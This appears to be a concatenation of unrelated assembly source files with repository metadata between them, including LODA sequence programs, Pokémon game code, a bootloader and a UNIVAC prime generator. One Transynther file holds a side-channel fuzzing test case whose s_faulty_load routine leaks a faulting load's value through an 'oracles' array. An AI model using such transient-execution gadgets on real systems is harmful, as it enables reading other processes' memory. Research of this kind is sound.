False, 'congruent': 2}} {'OP': 'STOR', 'dst': {'size': 8, 'NT': False, 'type': 'addresses_UC_ht', 'same': False, 'AVXalign': True, 'congruent': 2}} {'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_UC_ht', 'congruent': 7}, 'dst': {'same': False, 'type': 'addresses_UC_ht', 'congruent': 1}} {'OP': 'LOAD', 'src': {'size': 8, 'NT': False, 'type': 'addresses_normal_ht', 'same': False, 'AVXalign': False, 'congruent': 7}} {'OP': 'STOR', 'dst': {'size': 2, 'NT': False, 'type': 'addresses_normal_ht', 'same': False, 'AVXalign': False, 'congruent': 5}} {'OP': 'STOR', 'dst': {'size': 1, 'NT': False, 'type': 'addresses_WT_ht', 'same': False, 'AVXalign': False, 'congruent': 8}} {'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_WC_ht', 'congruent': 3}, 'dst': {'same': False, 'type': 'addresses_normal_ht', 'congruent': 11}} {'OP': 'STOR', 'dst': {'size': 1, 'NT': False, 'type': 'addresses_WC_ht', 'same': True, 'AVXalign': False, 'congruent': 6}} {'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_D_ht', 'congruent': 2}, 'dst': {'same': False, 'type': 'addresses_D_ht', 'congruent': 11}} {'OP': 'STOR', 'dst': {'size': 2, 'NT': False, 'type': 'addresses_WC_ht', 'same': False, 'AVXalign': False, 'congruent': 5}} {'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_WT_ht', 'congruent': 0}, 'dst': {'same': True, 'type': 'addresses_D_ht', 'congruent': 4}} {'OP': 'LOAD', 'src': {'size': 1, 'NT': False, 'type': 'addresses_A_ht', 'same': True, 'AVXalign': False, 'congruent': 0}} {'34': 2118} 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 */
31.026756
2,999
0.65215
0de0583983ebb09b593e382cf24e27d4fa5d2f21
289
asm
Assembly
programs/oeis/135/A135033.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
1
2021-03-15T11:38:20.000Z
2021-03-15T11:38:20.000Z
programs/oeis/135/A135033.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/135/A135033.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
; A135033: Period 5: repeat 2,4,6,8,0. ; 2,4,6,8,0,2,4,6,8,0,2,4,6,8,0,2,4,6,8,0,2,4,6,8,0,2,4,6,8,0,2,4,6,8,0,2,4,6,8,0,2,4,6,8,0,2,4,6,8,0,2,4,6,8,0,2,4,6,8,0,2,4,6,8,0,2,4,6,8,0,2,4,6,8,0,2,4,6,8,0,2,4,6,8,0,2,4,6,8,0,2,4,6,8,0,2,4,6,8,0,2,4,6,8,0 mov $1,1 add $1,$0 mod $1,5 mul $1,2
36.125
211
0.519031
ae4a61cb2187ecc2c4b820007f5d2dd7f6344868
471
asm
Assembly
oeis/236/A236584.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/236/A236584.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/236/A236584.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A236584: The number of tilings of a 9 X (2n) floor with 2 X 3 hexominoes. ; Submitted by Christian Krause ; 1,1,1,5,11,19,45,105,219,475,1061,2313,5027,11035,24173,52793,115499,252827,552981,1209545,2646419,5789563,12664925,27706873,60614235,132602171,290087749,634616521,1388325507,3037181147 add $0,3 mov $4,1 lpb $0 sub $0,1 add $2,1 sub $3,$4 add $1,$3 mul $2,2 mov $4,$2 mov $2,$3 add $2,$1 add $5,$4 mov $3,$5 lpe mov $0,$1 div $0,2 add $0,1
21.409091
187
0.675159
377c14c411c6322d0415bf47892b3fc9389aa0f5
2,173
asm
Assembly
engine/battle/moveEffects/heal_effect.asm
adhi-thirumala/EvoYellow
6fb1b1d6a1fa84b02e2d982f270887f6c63cdf4c
[ "Unlicense" ]
16
2018-08-28T21:47:01.000Z
2022-02-20T20:29:59.000Z
engine/battle/moveEffects/heal_effect.asm
adhi-thirumala/EvoYellow
6fb1b1d6a1fa84b02e2d982f270887f6c63cdf4c
[ "Unlicense" ]
5
2019-04-03T19:53:11.000Z
2022-03-11T22:49:34.000Z
engine/battle/moveEffects/heal_effect.asm
adhi-thirumala/EvoYellow
6fb1b1d6a1fa84b02e2d982f270887f6c63cdf4c
[ "Unlicense" ]
2
2019-12-09T19:46:02.000Z
2020-12-05T21:36:30.000Z
HealEffect_: ld a, [H_WHOSETURN] and a ld de, wBattleMonHP ld hl, wBattleMonMaxHP ld a, [wPlayerMoveNum] jr z, .healEffect ld de, wEnemyMonHP ld hl, wEnemyMonMaxHP ld a, [wEnemyMoveNum] .healEffect ld b, a ld a, [de] cp [hl] ; most significant bytes comparison is ignored ; causes the move to miss if max HP is 255 or 511 points higher than the current HP inc de inc hl ld a, [de] sbc [hl] jp z, .failed ; no effect if user's HP is already at its maximum ld a, b cp REST jr nz, .healHP push hl push de push af ld c, 50 call DelayFrames ld hl, wBattleMonStatus ld a, [H_WHOSETURN] and a jr z, .restEffect ld hl, wEnemyMonStatus .restEffect ld a, [hl] and a ld [hl], 2 ; clear status and set number of turns asleep to 2 ld hl, StartedSleepingEffect ; if mon didn't have an status jr z, .printRestText ld hl, FellAsleepBecameHealthyText ; if mon had an status .printRestText call PrintText pop af pop de pop hl .healHP ld a, [hld] ld [wHPBarMaxHP], a ld c, a ld a, [hl] ld [wHPBarMaxHP+1], a ld b, a jr z, .gotHPAmountToHeal ; Recover and Softboiled only heal for half the mon's max HP srl b rr c .gotHPAmountToHeal ; update HP ld a, [de] ld [wHPBarOldHP], a add c ld [de], a ld [wHPBarNewHP], a dec de ld a, [de] ld [wHPBarOldHP+1], a adc b ld [de], a ld [wHPBarNewHP+1], a inc hl inc de ld a, [de] dec de sub [hl] dec hl ld a, [de] sbc [hl] jr c, .playAnim ; copy max HP to current HP if an overflow ocurred ld a, [hli] ld [de], a ld [wHPBarNewHP+1], a inc de ld a, [hl] ld [de], a ld [wHPBarNewHP], a .playAnim ld hl, PlayCurrentMoveAnimation call Bankswitch3DtoF ld a, [H_WHOSETURN] and a coord hl, 10, 9 ld a, $1 jr z, .updateHPBar coord hl, 2, 2 xor a .updateHPBar ld [wHPBarType], a predef UpdateHPBar2 ld hl, DrawHUDsAndHPBars call Bankswitch3DtoF ld hl, RegainedHealthText jp PrintText .failed ld c, 50 call DelayFrames ld hl, PrintButItFailedText_ jp Bankswitch3DtoF StartedSleepingEffect: TX_FAR _StartedSleepingEffect db "@" FellAsleepBecameHealthyText: TX_FAR _FellAsleepBecameHealthyText db "@" RegainedHealthText: TX_FAR _RegainedHealthText db "@"
17.958678
92
0.700874
6cad08a49802dcea4a1e154bb5308363a405909a
287
asm
Assembly
libsrc/_DEVELOPMENT/math/float/math48/c/sdcc_ix/cm48_sdccix_isgreater_callee.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
640
2017-01-14T23:33:45.000Z
2022-03-30T11:28:42.000Z
libsrc/_DEVELOPMENT/math/float/math48/c/sdcc_ix/cm48_sdccix_isgreater_callee.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
1,600
2017-01-15T16:12:02.000Z
2022-03-31T12:11:12.000Z
libsrc/_DEVELOPMENT/math/float/math48/c/sdcc_ix/cm48_sdccix_isgreater_callee.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
215
2017-01-17T10:43:03.000Z
2022-03-23T17:25:02.000Z
; int isgreater(float x, float y) __z88dk_callee SECTION code_clib SECTION code_fp_math48 PUBLIC cm48_sdccix_isgreater_callee EXTERN am48_isgreater, cm48_sdccixp_dcallee2 cm48_sdccix_isgreater_callee: call cm48_sdccixp_dcallee2 ; AC'= y ; AC = x jp am48_isgreater
15.105263
48
0.783972
7c67f2da079a51e5b2cc531e581e02b0cef2738d
3,708
asm
Assembly
U9200/CardFiles/Source/primes.asm
sboydlns/univacemulators
c630b2497bee9cb9a18b4fa05be9157d7161bca3
[ "MIT" ]
2
2021-02-09T21:54:54.000Z
2021-09-04T03:30:50.000Z
U9200/CardFiles/Source/primes.asm
sboydlns/univacemulators
c630b2497bee9cb9a18b4fa05be9157d7161bca3
[ "MIT" ]
null
null
null
U9200/CardFiles/Source/primes.asm
sboydlns/univacemulators
c630b2497bee9cb9a18b4fa05be9157d7161bca3
[ "MIT" ]
null
null
null
* PRIME NUMBER GENERATOR ETC. 15JAN71 9300 ASSEMBLER 7022001 * KEY-INS: * X'01'--PRINT ONLY MERSENNE NUMBERS (WITH N, WHERE M=2**N-1) * X'10'--PRINT ONLY PRIME NUMBER PAIRS G022 START 0 USING *,0 USING *,1 USING *,2 USING *,3 BEGN MVC LINE+1(131),LINE OPEN PRNT MSG X'333' UNPK PAIR(3),*-1(2) X03 ZAP I,P3 X04 ZAP MD,K DP MD,I DIVIDE TEST NO. BY I CP I,M SQRT(K) REACHED? BC 2,X08 YES--K IS PRIME ZAP MR,MR CHECK REMAINDER BC 8,X10 IF EVENLY DIVISIBLE, TRY ANOTHER AP I,P2 IF NOT DIVISIBLE, INCREASE I BC 15,X04 TRY DIVIDING AGAIN * K IS PRIME X08 CLI PAIR,X'F1' ONLY PAIRS TO BE PRINTED? BC 7,X09 NO ZAP NPRI,K SP NPRI,OPRI SUBTRACT LAST PRIME CP NPRI,P2 DIFFERENCE 2? BC 7,X085 NO--DON'T PRINT MVC LINE(32),ED31 ED LINE(32),OPRI LAST PRIME TO LINE MVC LINE+40(32),ED31 ED LINE+40(32),K CURRENT PRIME TO LINE PUT PRNT,LINE X085 ZAP OPRI,K K IS OLD PRIME NEXT TIME BC 15,X10 LOOK FOR NEXT PRIME X09 CLI MERS,X'F1' LOOK FOR MERSENNE NUMBERS? BC 7,X095 NO--JUST PRINT EVERY PRIME X091 ZAP MRS,PWR2 SP MRS,P1 DECREMENT BY 1 CP MRS,K COMPARE WITH LATEST PRIME BC 8,X095 MATCH--PRINT MERSENNE NUMBER BC 2,X10 I**N-1 EXCEEDS K--NOT MERSENNE MP PWR2+1(15),P2 TRY NEXT POWER OF 2 AP PWR,P1 INCREMENT POWER COUNT BC 15,X091 TRY NEXT POWER OF 2 X095 MVC LINE(32),ED31 ED LINE(32),K PRIME TO LINE CLI MERS,X'F1' IS IT A MERSENNE NO.? BC 7,X099 NO MVC LINE+40(6),ED5 ED LINE+40(6),PWR POWER OF 2 TO LINE TOO X099 PUT PRNT,LINE X10 AP K,P2 TRY NEXT K BC 15,X03 FOF STH 14,S14 CNTRL PRNT,SK,7 LH 14,S14 BC 15,0(,14) S14 DS H K DC XL16'3C' NUMBER UNDER TEST I DC XL8'C' DIVISOR MD DS 0CL16 DIVIDEND M DC XL8'C' QUOTIENT MR DS CL8 REMAINDER NPRI DC XL16'C' LATEST PRIME FOR PAIR TEST OPRI DC XL16'C' LAST PRIME FOR PAIR TEST PWR2 DC XL16'2C' POWERS OF 2 FOR MERSENNE TEST PWR DC XL3'1C' ACTUAL POWER OF 2 MRS DC XL16'C' P3 DC XL1'3C' P2 DC XL1'2C' P1 DC XL1'1C' PAIR DS CL1 ON IF PAIR TEST MERS DS CL1 ON IF MERSENNE TEST DS CL1 PROTECTION FROM UNPK LINE DC CL1' ' DS CL131 ED31 DC XL16'40202020202020202020202020202020' DC XL16'20202020202020202020202020202120' ED5 DC XL6'402020202120' EXTRN PRNT ENTRY FOF ENTRY BEGN END BEGN
43.116279
80
0.4226
a89bd867b41196327e2e3790dca2c2234a290307
1,272
asm
Assembly
16sleep/boot.asm
SwordYork/slef
21c54ad083b1cc178b5936cf2b4c97182a153ed3
[ "Apache-2.0" ]
8
2015-11-09T16:55:42.000Z
2021-08-23T04:11:23.000Z
RunOnReal/boot.asm
ly2199/slef
21c54ad083b1cc178b5936cf2b4c97182a153ed3
[ "Apache-2.0" ]
null
null
null
RunOnReal/boot.asm
ly2199/slef
21c54ad083b1cc178b5936cf2b4c97182a153ed3
[ "Apache-2.0" ]
5
2016-03-19T01:25:37.000Z
2020-11-29T04:42:28.000Z
[org 0x7c00] ; standard FAT16 JMP entry ; go to entry DB 0x90 DB "SLEF-IPL" ; DW 512 ; DB 1 ; DW 1 ; DB 2 ; DW 224 ; DW 2880 ; DB 0xf0 ; DW 9 ; DW 18 ; DW 2 ; DD 0 ; DD 2880 ; DB 0,0,0x29 ; DD 0xffffffff ; DB "Slef-OS " ; DB "FAT12 " ; RESB 18 ; ; Program body entry: KERNEL_OFFSET equ 0xc400 mov [BOOT_DRIVE], dl ;drive number xor ax, ax ; mov es, ax mov ss, ax ; mov bp, 0x9000 ;stack position for popa pusha mov sp, 0x7c00 mov ds, ax ; mov bx, MSG_REAL_MODE ; call print_string call load_kernel %include "./message/print_string.asm" %include "./disk/disk_load_all.asm" %include "./pm/gdt.asm" %include "./pm/switch_to_pm.asm" [bits 16] load_kernel: mov bx, MSG_LOAD_KERNEL call print_string jmp disk_load read_done: call switch_to_pm jmp $ [bits 32] BEGIN_PM: jmp KERNEL_OFFSET ; jmp 0x00280000 jmp $ BOOT_DRIVE db 0 ;MSG_REAL_MODE db "Started in 16-bit Real Mode",0 MSG_LOAD_KERNEL db "Loading kernel into memory.",0 times 510 -( $ - $$ ) db 0 dw 0xaa55 ; other DB 0xf0, 0xff, 0xff, 0x00, 0x00, 0x00, 0x00, 0x00 RESB 4600 DB 0xf0, 0xff, 0xff, 0x00, 0x00, 0x00, 0x00, 0x00 RESB 1469432
16.307692
52
0.605346
7faced726016f5293358b009da7de4714b25f328
1,251
asm
Assembly
data/mapObjects/SafariZoneWest.asm
AmateurPanda92/pokemon-rby-dx
f7ba1cc50b22d93ed176571e074a52d73360da93
[ "MIT" ]
9
2020-07-12T19:44:21.000Z
2022-03-03T23:32:40.000Z
data/mapObjects/SafariZoneWest.asm
JStar-debug2020/pokemon-rby-dx
c2fdd8145d96683addbd8d9075f946a68d1527a1
[ "MIT" ]
7
2020-07-16T10:48:52.000Z
2021-01-28T18:32:02.000Z
data/mapObjects/SafariZoneWest.asm
JStar-debug2020/pokemon-rby-dx
c2fdd8145d96683addbd8d9075f946a68d1527a1
[ "MIT" ]
2
2021-03-28T18:33:43.000Z
2021-05-06T13:12:09.000Z
SafariZoneWest_Object: db $0 ; border block db 8 ; warps warp 20, 0, 0, SAFARI_ZONE_NORTH warp 21, 0, 1, SAFARI_ZONE_NORTH warp 26, 0, 2, SAFARI_ZONE_NORTH warp 27, 0, 3, SAFARI_ZONE_NORTH warp 29, 22, 2, SAFARI_ZONE_CENTER warp 29, 23, 3, SAFARI_ZONE_CENTER warp 3, 3, 0, SAFARI_ZONE_SECRET_HOUSE warp 11, 11, 0, SAFARI_ZONE_WEST_REST_HOUSE db 4 ; signs sign 12, 12, 5 ; SafariZoneWestText5 sign 17, 3, 6 ; SafariZoneWestText6 sign 26, 4, 7 ; SafariZoneWestText7 sign 24, 22, 8 ; SafariZoneWestText8 db 4 ; objects object SPRITE_BALL, 8, 20, STAY, NONE, 1, MAX_POTION object SPRITE_BALL, 9, 7, STAY, NONE, 2, TM_32 object SPRITE_BALL, 18, 18, STAY, NONE, 3, MAX_REVIVE object SPRITE_BALL, 19, 7, STAY, NONE, 4, GOLD_TEETH ; warp-to warp_to 20, 0, SAFARI_ZONE_WEST_WIDTH ; SAFARI_ZONE_NORTH warp_to 21, 0, SAFARI_ZONE_WEST_WIDTH ; SAFARI_ZONE_NORTH warp_to 26, 0, SAFARI_ZONE_WEST_WIDTH ; SAFARI_ZONE_NORTH warp_to 27, 0, SAFARI_ZONE_WEST_WIDTH ; SAFARI_ZONE_NORTH warp_to 29, 22, SAFARI_ZONE_WEST_WIDTH ; SAFARI_ZONE_CENTER warp_to 29, 23, SAFARI_ZONE_WEST_WIDTH ; SAFARI_ZONE_CENTER warp_to 3, 3, SAFARI_ZONE_WEST_WIDTH ; SAFARI_ZONE_SECRET_HOUSE warp_to 11, 11, SAFARI_ZONE_WEST_WIDTH ; SAFARI_ZONE_WEST_REST_HOUSE
35.742857
69
0.768985
a75f70cd5e59834fb8dd5535aa0b151ac5b49e26
5,930
asm
Assembly
Transynther/x86/_processed/NC/_zr_/i7-7700_9_0xca_notsx.log_21829_135.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NC/_zr_/i7-7700_9_0xca_notsx.log_21829_135.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NC/_zr_/i7-7700_9_0xca_notsx.log_21829_135.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r11 push %r8 push %rcx push %rdi push %rsi lea addresses_UC_ht+0x149ea, %rsi lea addresses_normal_ht+0x193ea, %rdi nop nop nop xor $9303, %r8 mov $59, %rcx rep movsw nop nop nop nop nop dec %r11 pop %rsi pop %rdi pop %rcx pop %r8 pop %r11 ret .global s_faulty_load s_faulty_load: push %r11 push %r12 push %r13 push %rbp push %rbx push %rcx push %rsi // Store lea addresses_normal+0x1366a, %r11 clflush (%r11) nop nop cmp %rcx, %rcx mov $0x5152535455565758, %rbp movq %rbp, %xmm3 movups %xmm3, (%r11) nop nop nop nop and %r13, %r13 // Store lea addresses_RW+0x1246a, %r12 inc %rbp mov $0x5152535455565758, %rsi movq %rsi, %xmm3 vmovups %ymm3, (%r12) nop dec %r13 // Store lea addresses_normal+0xce8e, %rbp nop nop sub %rbx, %rbx mov $0x5152535455565758, %r13 movq %r13, (%rbp) cmp $38200, %r13 // Store lea addresses_UC+0x1d0d, %r11 nop nop nop nop nop cmp %rcx, %rcx movw $0x5152, (%r11) nop dec %r12 // Store lea addresses_A+0x1923a, %rsi nop nop dec %rcx mov $0x5152535455565758, %r11 movq %r11, (%rsi) nop nop dec %rsi // Store lea addresses_UC+0x1d6a, %r12 clflush (%r12) nop nop nop nop nop sub $61904, %r11 mov $0x5152535455565758, %rcx movq %rcx, %xmm1 vmovups %ymm1, (%r12) sub %rcx, %rcx // Load lea addresses_D+0x466a, %rbx nop nop xor %rbp, %rbp mov (%rbx), %r11 nop nop nop and $58910, %r12 // Faulty Load mov $0x5ef7dc0000000e6a, %rbp nop xor $35555, %rcx mov (%rbp), %si lea oracles, %r11 and $0xff, %rsi shlq $12, %rsi mov (%r11,%rsi,1), %rsi pop %rsi pop %rcx pop %rbx pop %rbp pop %r13 pop %r12 pop %r11 ret /* <gen_faulty_load> [REF] {'src': {'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 0, 'same': False, 'type': 'addresses_NC'}, 'OP': 'LOAD'} {'dst': {'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 11, 'same': False, 'type': 'addresses_normal'}, 'OP': 'STOR'} {'dst': {'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 8, 'same': False, 'type': 'addresses_RW'}, 'OP': 'STOR'} {'dst': {'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 2, 'same': False, 'type': 'addresses_normal'}, 'OP': 'STOR'} {'dst': {'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 0, 'same': False, 'type': 'addresses_UC'}, 'OP': 'STOR'} {'dst': {'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 1, 'same': False, 'type': 'addresses_A'}, 'OP': 'STOR'} {'dst': {'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 8, 'same': False, 'type': 'addresses_UC'}, 'OP': 'STOR'} {'src': {'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 11, 'same': False, 'type': 'addresses_D'}, 'OP': 'LOAD'} [Faulty Load] {'src': {'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 0, 'same': True, 'type': 'addresses_NC'}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'congruent': 6, 'same': False, 'type': 'addresses_UC_ht'}, 'dst': {'congruent': 7, 'same': False, 'type': 'addresses_normal_ht'}, 'OP': 'REPM'} {'00': 21829} 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */
38.012821
2,999
0.65683
364711ce6b62a0334104ac9adc57bdd930709001
4,563
asm
Assembly
Engine/GameModes/Gallery.asm
gbcompo21/ReboundGB
68611cf8e35bb03362dd9059173a03796ba3bde4
[ "MIT" ]
null
null
null
Engine/GameModes/Gallery.asm
gbcompo21/ReboundGB
68611cf8e35bb03362dd9059173a03796ba3bde4
[ "MIT" ]
null
null
null
Engine/GameModes/Gallery.asm
gbcompo21/ReboundGB
68611cf8e35bb03362dd9059173a03796ba3bde4
[ "MIT" ]
null
null
null
